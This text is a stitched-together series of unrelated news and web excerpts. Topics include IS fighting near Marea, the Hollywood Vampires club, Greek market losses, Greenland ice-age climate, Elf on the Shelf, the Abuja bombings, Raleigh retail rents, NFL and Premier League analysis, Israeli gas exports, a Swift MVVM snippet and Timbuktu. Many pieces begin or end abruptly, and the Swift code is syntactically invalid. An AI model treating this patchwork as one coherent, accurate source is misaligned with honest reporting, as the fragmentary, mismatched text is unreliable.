Intense attacks began overnight and on Thursday morning IS fighters had mostly encircled the rebel-held town of Marea, some 20 km (12 miles) from the Turkish border, a rebel leader fighting against the group in the area said.
Another insurgent commander battling Islamic State said his men were fighting back in earnest to stop the jihadists from taking Marea, in clashes that had killed at least two dozen fighers on each side.
IS used “toxic gases” while shelling the town, he said.
Medical charity Medecins Sans Frontieres recently said it had treated a family from Marea suffering symptoms of exposure to chemical agents.
The assault on Marea could prove disastrous for rebels fighting Islamic State, which has overrun swathes of Iraq and Syria over the past year.
“If its progress continues, the northern countryside of Aleppo could fall,” one rebel told Reuters. “If Marea falls, it means the fall of an important symbol of the groups fighting Daesh,” he said, using an Arabic acronym for the group.
The Syrian Observatory for Human Rights, a UK-based group tracking the war, said IS had wrested control of five villages from other insurgents, including two near the Turkish border.
U.S.-TURKISH CAMPAIGN
Turkish Foreign Minister Mevlut Cavusoglu told Reuters on Monday his country and the United States would soon launch “comprehensive” air operations to flush IS fighters from the border region.
The two NATO allies plan to provide air cover for what Washington judges to be moderate Syrian rebels, in a joint operation to drive IS from a rectangle of border territory roughly 80 km (50 miles) long. U.S. jets have already begun air strikes from Turkish bases in advance of the campaign.
Diplomats familiar with the plans say cutting IS access to the Turkish border, across which the radical group has been able to bring foreign fighters and supplies, could be a game-changer.
Warplanes believed to be from the U.S.-Turkish campaign were on Thursday bombing IS positions in one of the villages the militants had seized, the Observatory reported, although a rebel commander said this was not the case.
The villages captured by IS on Thursday include two that the al Qaeda-linked Nusra Front - which is hostile to IS - recently handed over to another Syrian rebel group after announcing it was withdrawing from the intended Turkish buffer zone area.
The Hollywood Vampires was a celebrity drinking club formed by Alice Cooper in the 1970s. The hazing to get into the club was to outdrink all the members.[1] According to Cooper in the documentary Prime Cuts: "The Speakeasy and Tramps were the place to be in London. There was a little loft at the Rainbow Bar and Grill in LA (W. Hollywood), they only had that for the club."[2]
Members [ edit ]
Cooper listed himself, Keith Moon, Ringo Starr, Micky Dolenz and Harry Nilsson as the club's principal members: "It was that crowd, every night those same people. Every once in a while John Lennon would come into town or Keith Emerson and they would be honorable members of the night. They still have a plaque there at the Rainbow, where it says 'The Lair of the Hollywood Vampires'."[2]
Additional members
Supergroup [ edit ]
The main index .ATG was down nearly 23 percent in early trading. National Bank of Greece (NBGr.AT), the country's largest commercial bank, was down 30 percent, the daily limit.
The overall banking index .FTATBNK was also down its limit.
"Naturally, pressure is expected, markets will not fail to comment on such an extensive shutdown," Constantine Botopoulos, head of the capital markets commission, told Skai radio.
"But we must not get carried away. We must wait until the end of the week to see how the reopening will begin to be dealt with more coolly."
The bourse was last open for trading on June 26.
The Election Commission is ensuring your message goes out loud and clear -- they are giving your index finger a go-by, and painting your middle finger with indelible ink instead. A Commission official said the change was necessitated by the recently-concluded elections to local bodies in some parts of the country. "Since these voters will still have their index fingers marked, we decided to uniformly mark the middle finger of the left hand," he said.
Not everyone's amused, though. In many places, politicians and celebrities smiled and posed for the cameras after casting their vote, but realisation dawned much later. A Pune-based Bollywood celebrity said, "I did not realise it when I posed for the cameras. But when I saw the photo, my pose appeared to be in poor taste."
Extreme climate changes in the past Ice core records show that Greenland went through 25 extreme and abrupt climate changes during the last ice age some 20,000 to 70,000 years ago. In less than 50 years the air temperatures over Greenland could increase by 10 to 15 °C. However the warm periods were short; within a few centuries the frigid temperatures of the ice age returned. That kind of climate change would have been catastrophic for us today.
Ice core records from Antarctica also show climate changes in the same period, but they are more gradual, with less severe temperature swings.
The Nature Scientific Report study shows that an area of the Nordic Seas, just south of Iceland, followed the Antarctic pattern of warming and cooling. Which is strange since it is so close to Greenland.
"We had expected to see sudden climate changes. But sediment core records from the area show that the climate changes here were actually gradual, and quite identical to Antarctic climate changes." says CAGE professor Tine Rasmussen, the principal author of the paper.
Gulf Stream holds the answers
Then, as now, the circulation of Atlantic Ocean, with currents such as the Gulf Stream, regulated transportation of heat to this area. Simply put, the surface currents transport heat from the southern and tropical Atlantic toward the North Atlantic.
" The Nordic seas between Norway and Greenland play a crucial role for the current patterns of the Atlantic Ocean. They act as a pump. Here the warm and salty surface water cools down during winter. It becomes heavy and is pumped down to the bottom before returning to the Atlantic, where it continues as a deep current all the way to the Antarctic region. " co-author Erik Thomsen from Aarhus University ( link) points out.
Without this pump, the north-south current system would slow down considerably. Changes in this circulation can have a profound impact on the global climate system.
During the ice ages this circulation was assumed to work as a seesaw in the playground -- going up and down in opposite directions with an axis somewhere around the equator. The idea is that when it warmed in the north, it cooled in the south and vice versa. But Rasmussen and colleagues indicate another scenario.
Rewriting the seesaw hypothesis
During the coldest periods of the last ice age the Nordic seas were covered with a permanent layer of sea ice. The pump stopped transporting the heat northward. The heat accumulated in the southern oceans. However, the warming was not restricted to the south.
" Our results show that it continued all the way to Iceland. The warming was slow and gradual, and happened simultaneously in both hemispheres. Little by little the warm Atlantic water penetrated into the Nordic sea underneath the ice cover. It melted the ice from below. Once the ice was gone, the pump started up again, bringing additional warm water into the Nordic seas. And we got a warmer period for 50 years. " says Rasmussen.
Large ice sheets continued however, to cover the continents around the Nordic seas. In contact with the warm ocean water they started calving. This delivered icebergs and fresh water into the sea and caused a cooling down of the surface water. The seas were again frozen. And the pump slowed down.
The warm ocean blob of the ice ages rewrites the understanding of the ocean circulation systems, and how they affected the extreme climate changes of the past. The seesaw was actually more of a 'push and pull' system.
That future may be here, in the form of a sprightly little elf telling children that they better not pout and they better not cry, because Santa is coming to town -- and his little helpers are always watching.
The Elf on the Shelf doll, based on the popular Elf on the Shelf children's book, has become a full-blown cultural phenomenon in recent years, and Dr. Laura Pinto, a professor of digital education at the University of Ontario Institute Of Technology, for one, is concerned.
The doll is used in the home and in schools -- perched in a different location each day -- to encourage children to be on their best behavior so that they make it onto Santa's "nice" list. As the story goes, the elf has been sent from Santa ("the boss") as a special scout to help create his naughty and nice lists. When a family adopts the elf and gives him a name, the elf takes to his watchtower in various parts of the house and monitors the children's behavior. During the Christmas season, children are told that they must play by not only their parents' or teachers' rules, but also by the elf's rules.
In Bentham's panopticon, the inmates never knew exactly when the watchers were watching, so they were forced to behave at all times as if this were a possibility. Similarly, Pinto argues, though the children don't know if their behavior will be caught by the elf, the possibility is always there, and therefore influences their behavior at all times.
"The Elf on the Shelf serves functions that are aligned to the official functions of the panopticon," Pinto wrote in a paper for the Canadian Centre for Policy Alternatives. "In doing so, it contributes to the shaping of children as governable subjects."
If the children are the subjects, then Santa is Big Brother, and his elves are the Ministry of Truth. Pinto's concern with the Elf on the Shelf phenomenon is that the children see the surveillance not as play, but instead accept it as real.
"Elf on the Shelf presents a unique (and prescriptive) form of play that blurs the distinction between play time and real life," Pinto wrote. "Children who participate in play with The Elf on the Shelf doll have to contend with rules at all times during the day: they may not touch the doll, and they must accept that the doll watches them at all times with the purpose of reporting to Santa Claus."
The children are at all times subjected to an authoritative elvish "gaze" -- "similar to the dynamic between citizen and authority in the context of the surveillance state," Pinto said.
Pinto points to a Huffington Post blog by Wendy Bradford, whose children "insist on ringing the doorbell before entering their home to make sure that their Elf on the Shelf doll, 'Chippey,' is prepared for their arrival, thus underscoring their awareness (and acceptance) of the surveillance apparatus."
Pinto is concerned that the Elf sets children up for the uncritical acceptance of surveillance structures. You know, sort of like their parents.
CAIRO (Reuters) - Militants claiming loyalty to Islamic State said they were behind suicide bombings near the Nigerian capital Abuja which killed at least 15 people, a statement on Twitter said on Sunday.
On Friday, suicide bombers attacked two suburbs of Abuja.
President Muhammadu Buhari had blamed Boko Haram, which has waged a six-year campaign to carve out an Islamist state in northern Nigeria, for the Abuja attack.
But militants claiming loyalty to Islamic State said they had conducted the suicide bombings, according to the statement. The authenticity of the statement, which did not mention Boko Haram and was issued under the name Islamic State West Africa, could not be verified.
It named three suicide bombers who it said were behind the attacks, the statement said.
In May, the leader of the Islamic State militant group that controls parts of Syria and Iraq accepted a pledge of allegiance from Boko Haram, according to his spokesman.
But the extent of cooperation between the two groups is not known.
Islamic State, an ultra-hardline offshoot of al Qaeda, has declared a caliphate, a state governed in accordance with Islamic law, in captured territory in Iraq and Syria.
Now, a source close to the production informed The Daily Beast that the “Fare Thee Well” Dead shows will be filmed by none other than Martin Scorsese, who helmed arguably the greatest concert film of all-time in The Last Waltz. Joining Scorsese in shooting the music festivities will be Amir Bar-Lev, the acclaimed documentary filmmaker behind The Tillman Story. Back in October, it was announced that Bar-Lev would be helming a feature-length documentary on the Grateful Dead in honor of their 50th anniversary, executive produced by Scorsese.
“The Grateful Dead were more than just a band. They were their own planet, populated by millions of devoted fans. I’m very happy that this picture is being made and proud to be involved,” Scorsese told Deadline at the time.
The source claims that the footage shot by Scorsese and Bar-Lev of the 50th anniversary shows will be folded into the documentary, which will be released sometime in 2016.
When the doc was first announced, the surviving members of the Grateful Dead—Bob Weir, Phil Lesh, Bill Kreutzmann, and Mickey Hart—released the following statement:
Top developers including Gameloft, Unity3d, and grillgames are implicated to varying degrees.
The chatter has no use to users. About half of the traffic is related to analytics, such as that used by Twitter and Pandora, with the rest of unknown purpose.
They make the findings in the paper Covert Communication in Mobile Applications (PDF)
"Analytics services collect information about application performance, crash and usage data, as well as the exact actions the user performs within the app. While this information has a clear value to the developer, no apparent description specifying the nature and frequency of the data collection is presented to the user. In fact, some applications start collecting analytics information even before they get activated. For example, twitter, Walmart and Pandora start their data collection as soon as the phone is booted and continue, periodically, during the phone’s entire up time, even if the applications themselves were never used. In most cases, the user cannot opt-out from such data sharing without uninstalling the application. "
Five apps died when the covert chatter was killed off after the code in question was manipulated by the research team.
Rep. Gene Alday, R-Walls, delivered his apology in a 30-second speech to the Mississippi House of Representatives.
"I'm deeply sorry for my recent statements. I was wrong to say what I did, and there is no excuse for my behavior," Alday said. "I value the relationships I have made with everyone in this House. I am so sorry. I made a great mistake, and I appreciate every one of you."
House members gave Alday polite applause after he spoke, and he then left the floor of the House.
The muted reaction contrasted to the backlash he received Monday, a day after The Clarion-Ledger newspaper published the story with his comments about Walls, the town where Alday was police chief and mayor before being elected to the House in 2011.
"I come from a town where all the blacks are getting food stamps and what I call 'welfare crazy checks.' They don't work," Alday was quoted by the Jackson newspaper as saying.
In the same article, he said that once when he went to a hospital emergency room for pain, "I liked to died. I laid in there for hours because they (blacks) were in there being treated for gunshots."
Gov. Phil Bryant and House Speaker Philip Gunn issued statements Monday condemning the remarks as racist. That same day, Alday said he had not intended the remarks to be published and bears no ill will toward any race, citing past actions he said he himself has taken to help black people. He said he will seek re-election and is rejecting calls for his resignation.
Robert Johnson III, D-Natchez, led a news conference Monday voicing concerns that Alday's comments could indicate racial motivations behind some policy decisions. Johnson, who is black, said Tuesday that he accepted the apology.
Trig Modern, with its quirky, curvilinear furniture designs, metal and glass light fixtures, and funky, geometrical chandeliers, is exactly the kind of cool, local, independent store Raleigh wants downtown.
Too bad the owner can't afford it.
Bob Drake, a tall man with graying hair and a warm demeanor, has been in the 3,900-square-foot space at the corner of West Jones and North Harrington streetsfor which he pays $12 per square foot per year in rent, or $3,900 a monthsince 2012. That year, Drake received a $50,000 loan from the city to up-fit the freestanding building, which entailed knocking out office cubicles, dropping the ceiling, ripping out carpeting and vinyl tile, abating asbestos, finishing and sealing the cement floor, and redoing the electrical wiring.
This spring, however, Drake was told he'd have to move. The story is a familiar refrain in downtown Raleigh these days: An out-of-state developer bought the building. He wants to turn the lot into apartments.
"I could have been an ass about it," Drake says. "I could have parked my ass here for 30 more months."
Drake could have been an ass about ithe had a five-year leasebut instead he agreed to vacate by Jan. 16. (The new owner, Banner Company Apartments of Illinois, offered to buy him out of his contract.) He's been looking for another affordable space downtown, but it's been slim pickings: A potential location on Davie Street just fell through because Drake couldn't afford $8,500 a month in rent, not to mention all the work he'd he have to do to the place, which hasn't been updated in 40 years.
"It's back to square one," he says. "I was so disappointed that didn't work out."
Drake isn't alone in the uncertainty he feels as an independent retailer who wants to do business downtown.
Other storesincluding Blake Street Shops and Studios in City Market, Phydeaux in Seaboard Station and the Kindred artisan boutique on South Wilmington Streethave had to relocate or close their doors recently because, the owners have said, their rents became too high and they weren't getting enough foot traffic to keep up. Gift shop Cimos and clothing/convenience store Estate Essentials went online-only; Glenwood South boutique Cat Banjo will do the same at the end of the month.
Meanwhile, the owners of CU Fitness (a gym) and Artcraft (a sign shop), both on Hillsborough Street, are worried they'll be pushed out of downtown as well, if York Properties, which owns their spaces, announces other plans for that block. Respective owners Alison Katschkowski and Jim Jackson rent month-to-month at a below-market rate; they say York hasn't indicated what it plans to do yet, but Jackson says he won't be surprised if he comes to work one day and finds a notice on his door telling him to be gone in 30 days.
That's just how it goes in Raleigh.
"It's kind of like this development stuff is going on under us, or behind us somewhere, or over us, and we are just the little people who are paying the taxes on the spaces and then being told to move," Jackson says.
If that happened, it wouldn't be the first time Jackson had to relocate to accommodate development. In 2006, a Charlotte developer bought up the property he'd been leasing off of Ashe Avenue. "I don't think I'm going to stay downtown," Jackson says. "I'm tired of being subjected to this exact scenario."
As rents downtown continue to climbthey're nearly double what they were a decade agolocal retailers fear they're going to be priced out. The foot traffic in many areas hasn't kept pace with all the newly built apartmentsand their parking accommodationsthat are driving up rental prices to unaffordable levels.
On Fayetteville Street, which sees the most pedestrians, there's no more space for retail, according to Downtown Raleigh Alliance CEO David Diaz. Around Glenwood South and Moore Square, where 16 retailers closed in the last three years, there aren't the office spaces to generate daytime foot traffic.
While the city is working on a plan to address retailers' issues, both downtown and elsewhere, some are worried that its efforts will be too little, too late.
"Retail is the last thing to come in a downtown's revitalization," says Bill King, the DRA's planning and development manager. "We don't want to miss the boat here, where we get high rents everywhere and never got the funky stores in, where you have to end up selling goods that are so expensive you no longer have the same kind of character."
Downtown Raleigh has had some success with retailthe gift shop Deco, for example, has far exceeded owner Pam Blondin's revenue expectations. And the DRA says 10 new street-level businesses will soon open. But downtown still lags behind the explosion of apartments and condos in buildings that have popped up all over, as well all the restaurants and bars that moved in hot on the heels of that new development.
If downtown Raleigh can't get and keep retail, it won't be the vibrant community the city wants it to be. It won't even be a real neighborhood, but rather an amalgamation of bars, offices and apartments, lively on weekend nights but dull during the day. As King says, the need for retail shows that downtown Raleigh is still growing upand it has a lot more growing up to do.
You need only look at old photographs of Fayetteville Street to see that Raleigh, during the first half of the 20th century, had a vibrant, bustling downtown packed with stores, the remnants of which still linger in places like the Briggs building, Boylan-Pearce, the entrance to Morning Times and along Hargett Street.
But like many American downtowns, Raleigh's fell off in the 1970s, partly with the rise of suburban malls and town centers, which were strictly built for cars, and also with the shift toward sprawl. For Raleigh in particular, the Fayetteville Street mall, where cars were banned, didn't help bring people downtown, nor did competition from shopping centers like Cameron Village and North Hills, where parking is ample.
"I can remember rollerblading on Fayetteville Street when it was like it used to be, and there was nobody there," says City Councilor Bonner Gaylord, who grew up in Raleigh and, in his day job, is the North Hills general manager for Kane Realty Corp. "There were a few retailers and restaurants, but they weren't open on the weekends. In my memory, it was a completely dead downtown."
With national trends shifting back toward downtowns again, Raleigh has been working to lure retail since the launch of the Livable Streets plan in 2003 and then the opening of Fayetteville Street to cars in 2006.
While bars and restaurants have thrived, stores that sell soft goods (clothes, furniture, books, artwork, music and gifts) and provide services (hairstylists, gyms, designers)all of which generate money during daytime hourshave come and gone. More than 30 downtown retailers closed between December 2011 and December 2014, according to the DRA.
This doesn't surprise Ann Marie Baum, who now works with Drake at Trig Modern. She opened her own furniture store, Cherry Modern, on Glenwood South in 2004; her monthly rent was in the low-$9,000s, but she took the risk because she expected other stores to open up around her and drive business.
"The whole city was telling us, 'There is going to be so much retail down here, you're in the place to be,'" she says. "We were paying crazy money, and they were like, 'It's coming,' but all that came were bars and restaurants, nothing else."
After three years, Baum moved to Cameron Village, where the monthly rent was $3,000 cheaper. But with the move, she lost her downtown audience. She closed her store a year later. Today she finds herself in a similar position at Trig Modern.
"It seems like [retail's] going to get better, but again, are the landlords all going to just sell out to big-box stores, or bars and restaurants?" she wonders.
In May, City Council approved the creation of a retail task force, charged with examining some of the challenges independent retailers face downtown and citywide.
According to James Sauls, the city's manager of economic development, retail advocates like the DRA and ShopLocal Raleigh had a preliminary meeting in June to identify what needs to be addressed. Sauls says the 15-to-20-member task force will hold its first meeting in August. He expects the group to make recommendations to Council in three to six months.
"The group is intentionally broader than downtown," Sauls says. "We want to know if retailers in other areas are facing the same challenges, and we want to know what our opportunities are. We are seeing some success in retail, and it will ebb and flow based on the market. We want to know what's good and what's bad and push that good forward."
But with anything resembling rent control prohibited by state statute, there's only so much the city can do. Some of it has been tried, things like the up-fit loan Drake received in 2012.
Gaylord says he wants to encourage local establishments, which keep more money in the local economy than chains, boost the downtown housing market to provide more foot traffic, and provide direct interventions in the form of up-fit and, especially, façade grants. (Gaylord was the only councilor to respond to the INDY's request for comment; Mary-Ann Baldwin said she would prefer to comment after the task force makes its recommendations).
The DRA is helping on that score. This summer, it will begin providing up-fit grants, tentatively $5,000 each, though that number hasn't been finalized. The DRA's King says he hopes the city will eventually match those grant dollars. (It's unclear whether the city has any appetite for that.) Additionally, the DRA works with retailers on financing, marketing, developing business plans and finding downtown locations.
And, as always, the DRA is working on luring a "shopping anchor"read: the ever-elusive downtown grocery storewithin the next couple of years.
But even if this happens, challenges will remain. King says it has been difficult convincing downtown landlords to lease their floors to retailers. The DRA's pitch is that ground-floor retail makes the rest of the building more valuable, but the landlords aren't biting.
"Landlords have still got to make those numbers work," King says. "It's hard to tell someone 'you should make less money.'"
It's likely that the city's strategy of encouraging density downtown will eventually pay off. When 15,000 people live downtown, as has been projected for the near future, and there's a grocery store to keep them from driving to Cameron Village, downtowners won't have as much of a reason to leave the bubble.
But for retailers like Drake, who are already here and want to stay, the sense of urgency is real. He says the city should have addressed the looming retail crisis five years ago.
Golden Tate played for the Seahawks last year. He plays for the Lions this year. And he says the Lions' defense can be as good as Seattle's Legion of Boom. (AP Photo)
ALLEN PARK -- Golden Tate got an up-close look at last year's Seattle Seahawks defense, which carried that team to a Super Bowl title and is considered one of the best ever. Now he's getting an up-close look at this year's Detroit Lions defense, which has allowed the fewest yards and points per game in the league through six games. And Nick Fairley said after Sunday's 17-3 win against the Minnesota Vikings that this defense could be historically great. So, Golden, who you got? "I think we have the potential to be as dominant as those guys, no question about it," Tate said Monday. "It's still so early. This is only like my sixth game on this team. I was with those guys for four years. It's kind of hard to say. "But I definitely see the potential, if we keep it up. Stats don't lie." The Lions have been absolutely suffocating on defense this year. They are allowing a paltry 270.7 yards and 13.7 points per game, both of which lead the league. Only two other teams are allowing fewer than 20 points per game. Detroit ranks No. 2 in both pass and rush defense. San Diego and San Francisco are the only other teams that rank even in the top 10 of both those categories. Through six games, those numbers compare favorably to Seattle's Legion of Boom from last year. The Seahawks finished No. 1 in overall defense and No. 1 against the pass, but were just seventh against the run. They allowed 14.4 points per game, which led the league but is more than Detroit's 13.7. Another hallmark of both teams: They get off the field on third down. The Lions rank second in third-down defense, allowing a conversion just 31.3 percent of the time. Seattle finished sixth last year at 34.3 percent. But there are differences in the two defenses as well. One is in how they were constructed. Detroit makes its hay up front, where first-rounders Ndamukong Suh, Nick Fairley and Ezekiel Ansah are the face the league's most-feared defensive line. Seattle, conversely, was paced by star defensive backs such as Richard Sherman, Kam Chancellor and Earl Thomas. "I think that's pretty accurate," Tate said. Another difference: The Seahawks were much better at generating takeaways, with a league-best 39 last year. Detroit is 13th this season with nine. "Seattle, they just have a knack for getting balls," Tate said. "In Seattle, if a ball was tipped or overthrown, it was getting picked, no questions asked. I think we're getting to that I point. I know Coach makes a big emphasis out of getting turnovers and guys believe in it." The Lions will have a much stiffer test Sunday when they host the New Orleans Saints and their second-ranked passing attack. Beating up on Teddy Bridgewater is one thing, but doing it against Drew Brees is a whole other animal. This game could be a litmus test for just how good this defense is, and provide some clarity as to whether the No. 1 ranking is a mirage or the real deal.
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Tottenham’s Christian Eriksen celebrates scoring his side’s third goal during a Champions League Group H soccer match between Tottenham Hotspur and Real Madrid at the Wembley stadium in London.
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Christian Eriksen is one of the most consistent fantasy football performers in the game. In the previous four season, the Dane has scored or assisted 16, 14, 27 and 28 goals respectively.
The last two seasons has seen his productivity effectively double, with the addition of Dele Alli to the Tottenham Hotspur front-three.
But Eriksen has been directly involved in just one goal in his past five league games and is without an assist in nine Gameweek, why is this?
No assist since Gameweek 2
Eriksen has always been considered the creator of the Spurs team, with 16 and 20 assists in his previous two seasons, and it’s easy to see why. But, he has not assisted a goal in the league since Gameweek 2 against Chelsea. That’s nearly a quarter of a season without creating a goal for arguably the most creative player in the league.
Through the first four Gameweeks, Eriksen assisted three goals and scored another against Newcastle (A), Chelsea (H), Burnley (H) and Everton (A).
During that time, he created 10 chances and made eight successful crosses from 32 attempts. He also had 18 touches in the box.
In front of goal, he has 15 attempts, nine of which were in the box and six were on target.
But in the last four Gameweeks, his production has fallen to just one goal, as he has been deployed in the central midfield pairing and not in his favoured attacking midfielder position.
From Gameweek 7-11, his touches in the box fell from 18 to 15. His attempts fell from 15 to 10. Only two of his shots were in the box, down from nine and just four found the target.
So why is Eriksen not finding himself in the box as often any more?
Story continues
READ MORE: How to win money playing fantasy football with Yahoo Daily Fantasy
Eriksen’s shots GW1-4 (FFScout)
Eriksen’s shots GW 7-11 (FFScout)
Eriksen’s reduced role
Spurs started off the season in a 4231, with Mousa Dembele pairing Victor Wanyama or Eric Dier in a central pair. Injuries have forced them both see reduced minutes, opening the door for Eric Dier to secure the spot for himself alongside Moussa Sissoko, Harry Winks and more recently Christian Eriksen.
The Dane has been played twice in central midfield in the last four games, against Liverpool and Manchester United.
Eriksen heatmap GW1-4
Eriksen heatmap GW 7-11
From the heatmap we can Eriksen has seen less of the ball in advanced central positions and has seen more of the ball in his own half. Not something you want to see from one of your premium midfielders.
READ MORE: How did the fantasy football experts get on in Gameweek 11?
Injuries forcing Eriksen back
Ideally, Mauricio Pochettino likes to line up with a destroyer and a more mobile midfielder in the heart of the midfield. The mobile midfielder’s role is to bring the ball forward to the deadly front three of Eriksen, Alli and Kane. In an injury free world, the pair would be Wanyama and Dembele.
Wanyama’s knee injury has opened the door for Eric Dier to take on the role of the destroyer in the midfield. Dembele’s lack of fitness has seen his role split between Sissoko, Winks and Eriksen.
Central midfield pairings
Dier slipped from the midfield against Liverpool because of an illness on the Friday before the game. He returned to the lineup the following week against Manchester United as Davison Sanchez was surprisingly dropped to the bench. Against Crystal Palace, he remained in defence to cover for the injured Toby Alderweireld.
Heung-Min Son started his first league game this season on the right of a 4231. Following the tactical switch to a 343, Son has started as a LWB instead of Davies in Gameweek 5 and 8. Since then he has started every Gameweek, either upfront covering for the injured Kane against United in GW10, or in Eriksen’s role in Gameweek 9. Dele Alli couldn’t start against Crystal Palace, which opened up the attacking midfielder spots for both Son and Eriksen.
It seems that injuries have forced the versatile Eriksen to move away from his preferred role and may keep him there at least for the foreseeable future. The injury to Alderweireld will force Dier back into the defence for the foreseeable future as Alderweireld does not have a return date yet on the Hamstring injury he sustained on November 1.
With the packed Christmas break coming up, we cannot be sure that Pochettino will not push Eriksen into a central midfield role if other players are rested either.
Leading by example
Eriksen’s strong early-season form helped Denmark gain 10 points from their last four games to earn them a spot in the play-offs against Ireland for the World Cup. Eriksen scored in each game and provided a further three assists. All of this was done while playing in the number 10 position in a 4-2-3-1.
That leaves a joint export operation with neighboring Cyprus, which will be the next big offshore gas producer in the region, looking like the frontrunner -- for now, at least, because war-divided Cyprus lies at the center of a long and seemingly intractable dispute with Turkey.
Regional security problems are proving to be a major stumbling block in the Jewish state's drive to capitalize on its newfound energy wealth, with the Israeli navy undergoing an expansion driven by the need to protect Israel's offshore fields and infrastructure.
A recent report by the U.S. Energy Information Administration observed territorial disputes in the eastern Mediterranean could "jeopardize joint development of potential resources in the area and could limit cooperation over potential export options."
Israel, which has allocated 40 percent of its gas reserves for export, will have to decide soon what it's going to do if it wants to start building the costly export infrastructure exports will require.
Israel's Tamar gas field off its northern coast began producing in March. Its estimated reserves of 8 trillion cubic feet of gas will be used domestically, mainly to fuel power stations. That's enough to meet Israel's internal needs for the next 25 years.
Keith Elliott, executive vice president of the Eastern Mediterranean operations of Noble Energy, the Houston-based company that discovered the Israeli fields with its local partner Delek Group, says it should "generate more than $30 billion for the Israeli economy."
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But the 18.9 trillion cubic feet contained in the larger Leviathan field is earmarked for export when it comes onstream. Elliott said Dec. 8 Leviathan is due to begin production in late 2017, a year behind initial estimates.
Nobel Energy is also conducting the exploratory drilling off the south coast of Cyprus controlled by Greek Cypriots. Leviathan is believed to extend into Cypriot waters.
Turkey has ruled the northern third of the island since it invaded and established the Turkish Republic of Northern Cyprus that no one but Ankara recognizes. It has declared the southern drilling illegal and warned it will use its navy, if necessary, to enforce Ankara's will.
Cyprus looms large in Israel's strategic planning in the burgeoning energy sector in a region long dependent on imported energy, because of its proximity and the benefit of pooling export programs.
It has been proposed Israel and Cyprus should jointly build a liquefied natural gas terminal, costing around $12 billion, in southern Cyprus linked to Leviathan by an underwater pipeline.
Cyprus belongs to the energy-hungry European Union, which should smooth Israeli exports to the 27-member bloc desperate to break its reliance on Russian gas.
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Turkey was a longtime ally of Israel until the 2010 Israeli boarding of a Turkish ship trying to break the Gaza blockade that left nine dead.
Despite the governmental animosity, there's considerable commercial interest in both countries concerning a pipeline under the eastern Mediterranean from Leviathan to Turkey, from where the gas could be pumped westward to Europe.
It may well be Turkish Prime Minister Recep Tayyip Erdogan, whose personal hostility toward Israel over its occupation of the West Bank is intense, will bow to domestic pressure and negotiate a gas deal with Israel.
"Turkey hopes to take advantage of its location between Europe and Asia and become a regional energy corridor for oil and natural gas moving from Russia, the Caspian Basin, Central Asia and the Middle East to the large consumer market in Europe," the U.S. global security consultancy Stratfor observed in a November analysis.
"These ambitions largely mirror Turkey's foreign policy vision of restoring its dominant role in its historical area of influence. ...
"To get involved in eastern Mediterranean energy plans, Turkey would need to find a political resolution with both Israel and Cyprus," Stratfor noted.
Of Turkey's three regional adversaries, Greece, Cyprus and Israel, "Israel has the greatest incentive to repair ties with Ankara, allowing it to regain a strategic ally in an increasingly volatile neighborhood." The proposed pipeline could be the catalyst.
It is the childhood ambition for many a budding naturalist, bringing Fluffy the rabbit into the home complete with its own purpose-built hutch. But, according to the wildlife expert Chris Packham, the nation’s pet rabbits are hopping mad about their wooden homes.
Delivering a withering assessment at this weekend’s Hay literary festival of how we keep our pets, the BBC presenter said: “We don’t revise our ideas about animal husbandry quick enough. Rabbits are kept in hutches because we were growing them for food, not keeping them as pets.
“So if you’re not going to eat your rabbit, why not give it a better quality of life and not cram it in to a hutch where it is going to defecate on to a huge pile of its own defecate.
“It is not an ideal place, they need a place to run around. They are also highly social animals, they don’t really enjoy being kept on their own.”
“Just because they are rabbits doesn’t mean we ought to neglect their welfare and focus on cats and dogs. We’ve changed the way we keep cats and dogs ... well dogs any way. We don’t allow them to foul the streets, some of us don’t allow them to disturb ground nesting birds.”
Facebook Twitter Pinterest Chris Packham: ‘Just because they are rabbits doesn’t mean we ought to neglect their welfare and focus on cats and dogs.’ Photograph: Linda Nylind for the Guardian
He said society should be constantly rethinking how it looks after all animals, whether domestic or kept in a zoo.
Packham was at Hay to talk about his new book, a coming-of-age memoir in which he charts the origins of his love of the natural world. A formative experience was eating tadpoles as a boy, something he encouraged others to repeat – in moderation – as it may instil a “passion for life”.
They do not, he said, taste of chicken. “They taste sort of gritty and they’re difficult to bite because they slip on the tongue. The reason they are slightly moreish is because they are quite difficult to taste.”
Packham is about to begin the next live series of BBC2’s Springwatch. While he would not be drawn on his views on the EU referendum, he did complain about the lack of debate about environmental and ecological issues.
“I’m very disappointed that both the pros and the cons brigade are not talking about the environment at all. We’re hearing a lot about the usual suspects, immigration, the economy and so forth but ... I’ve not heard a single comment about the environment.
“European legislation has a very positive impact when it comes to looking after the environment and species who live here, but also the Common Agricultural Policy has been nothing but a blight to the UK and farmers since we joined. All these things should be discussed.”
Traditionally, we'd use the Model View Controller technique to build our apps. Sounds great, but on iOS it usually ends up looking something like this:
This approach can often lead to gigantic UIViewController subclasses, with long lists of responsibilities: networking/data loading code, table/collection view delegate methods, UI interaction, UI layout, and so on.
That's where the Model View View Model approach comes in. Don't be fooled by the name, we still need view controllers. When applied on iOS, MVVM ends up looking something like this:
We'll add a new view model type in between our model and view controller. Our view model will take over loading data, as well transforming/processing that data. Then it will expose that transformed data as read-only properties.
struct SpaceshipViewModel { private var ship : Spaceship let displayName : String { " \( ship . squadron ) : \( ship . name ) " } func loadShips ( start : Int = 0 ) { ... } }
With our new View Model, we now have a clear place to put things like networking, data persistence, and all our business logic. Our view controllers can now relax a bit and handle things like user input and size class changes. Next time, we'll look at how we can make our view controller automatically react to changes in the view model.
Half of Timbuktu’s population left the ancient city when Islamists took control of northern Mali. Four months after French troops established control over the area, the Post’s Sudarsan Raghavan reports the city is still struggling. (The Fold/The Washington Post)
At the entrance to this fabled city, Malian soldiers clutching Kalashnikov rifles didn’t dare approach the truck. Instead, they shouted from a distance of 15 feet for the passengers to step out, lift up their shirts and turn around.
The soldiers were searching for explosives-laden belts.
They didn’t find any, but they were taking no chances: Suicide bombers had killed several of the troops’ comrades in recent weeks. The soldiers allowed the truck to pass, still viewing the passengers with suspicion.
Four months after French forces intervened in northern Mali to prevent jihadists from gaining more territory, the conflict is increasingly evoking similarities to the battlefields of Iraq, Afghanistan and Somalia. The radical Islamists and al-Qaeda militants have been pushed out of Timbuktu and other major towns, but they are now dispatching suicide bombers and using improvised explosive devices to attack their enemies. Many have melted into the population, raising fears about an underground spy network and ambushes.
On Friday, at least five suicide bombers struck in two northern towns, seriously wounding at least two Malian soldiers, according to a military spokesman, Capt. Modibo Niaman Traore.
“The jihadists spent 10 months here,” said Col. Keba Sangare, commander of the Malian troops in Timbuktu, who are fighting alongside the French and other African forces. “Some got married. Some have children. They have links here. Even if they are physically not here, spiritually they are.
